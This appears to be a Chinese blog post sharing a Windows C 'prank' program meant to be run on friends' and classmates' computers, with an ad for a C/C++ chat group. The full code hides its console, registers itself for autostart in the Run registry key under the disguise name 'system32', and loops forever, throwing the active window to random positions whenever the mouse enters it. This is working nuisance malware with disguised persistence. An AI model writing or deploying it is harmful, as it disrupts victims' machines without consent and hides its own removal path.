【項目實例】5分鐘教你一個C語言惡搞小程序,我已經在醫院wifi還挺快的

話不多說,今天給大家介紹兩個好東西,就是利用C語言編寫的兩個惡搞小程序,有多厲害,只有你自己去試試了。

利用C語言+API寫的兩個惡作劇程序,如果你的朋友同學試過之後可能就會有某些衝動了。

注意安全,找好退路,不要像我一樣被按在角落裏面…

image

直接上代碼:(本來想貼上GIF圖的,結果轉換出來很模糊~大家拿代碼自己去試試哦!

其實做爲一個學習者,有一個學習的氛圍跟一個交流圈子特別重要這裏我推薦一個C語言C++交流羣1075673198,不管你是小白還是轉行人士歡迎入駐,大家一起交流成長。

本程序會開機自啓,請先看完視頻,瞭解如何關閉程序再測試)

#include <stdio.h>

#include <time.h>

#include <stdlib.h>

#include <windows.h>

#pragma comment(linker,"/subsystem:"windows" /entry:"mainCRTStartup"")

int main()

{

char path[] = "Software\Microsoft\Windows\CurrentVersion\Run";

char exepath[200]; //拿到程序本身的路徑

GetModuleFileName(NULL, exepath, 200);

HKEY hkey; //註冊表結構體

RegOpenKey(HKEY_CURRENT_USER, path, &hkey);

RegSetValueEx(hkey, "system32", 0, REG_SZ, (unsigned char*)exepath, sizeof(exepath));

srand((unsigned int)time(NULL));

HWND hwnd; //定義窗口句柄

RECT rect; //矩形 top bottom left right

POINT pt;//點 x y

while (1)

{

hwnd = GetForegroundWindow();

GetWindowRect(hwnd,&rect); //獲取窗口的矩形

GetCursorPos(&pt); //獲取光標的座標

//鼠標在窗口的矩形裏面

if (pt.x >= rect.left&&pt.x <= rect.right&&

pt.y >= rect.top&&pt.y <= rect.bottom)

{

MoveWindow(hwnd, rand() % (1920 - 480), rand() % (1080 - 460),

480, 460, true);

}

}

return 0;

}

/*****************************

FindWindow();

MoveWindow();

GetForegroundWindow();

******************************/

//printf("1.變羊!!");

//printf("2.消失不見!!");

//printf("3.幽靈模式 ");

//

//int choise;

//scanf("%d", &choise);

//int width = 480;

//int height = 460;

//switch (choise)

//{

//case 1:

//while (width > 0)

//{

//MoveWindow(hwnd, 800, 100, width -= 10, height -= 10, true);

//}

//break;

//case 2:

//while (width <480)

//{

//MoveWindow(hwnd, 800, 100, width += 10, height += 10, true);

//}

//break;

//case 3:

//MoveWindow(hwnd, 800, 100, 0, 0, true);

//break;

//case 4:

//MoveWindow(hwnd, 800, 100, 480, 460, true);

//break;

//}
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章